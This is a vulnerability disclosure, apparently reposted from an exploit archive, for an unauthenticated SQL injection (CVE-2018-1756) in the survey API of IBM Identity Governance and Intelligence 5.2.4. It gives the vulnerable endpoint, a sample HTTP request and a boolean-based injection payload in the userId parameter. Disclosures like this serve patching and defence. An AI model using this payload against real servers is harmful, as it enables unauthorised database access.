IBM Identity Governance And Intelligence / 5.2.4 SQL Injection

IBM Identity Governance and Intelligence versions and 5.2.4 suffer from a remote SQL injection vulnerability.

MD5 | 143ea4633be11aadac7f92dae35cfe22

# Exploit Title: [Unauthenticated Remote SQLi]
# Date: [11/09/2018]
# Exploit Author: [Mohamed Sayed - From SecureMisr Company]
# Vendor Homepage: []
# Version: [IGI] (REQUIRED)
# Tested on: [Windows 10]
# CVE : [CVE-2018-1756]

Hello ,
IBM IGI version is suffering from unauthenticated remote SQLi
The vulnerability enable *remote unauthenticated* attacker to take over the
server database and affect the confidentiality , integrity and availability
of the system ,

The vulnerability is in the survey end point API

The userId parameter value is injected directly to a sql query without
sensitization nor validation and by exploiting it the attacker will be able
to gain access on the server database

SAMPLE of Vulnerable HTTP Request

GET /survey/api/config?userId=VUL HTTP/1.1
Connection: close
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36
Accept: */*
Referer: https://HOST_IP
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9

Payload sample :
userId=1 'AND 1=1 AND '2'='2

Mohamed Sayed
Sr.Information Security analyst

*Please make sure to encrypt any sensitive information or attachments , you
can download my Public PGP key from* here

Related Posts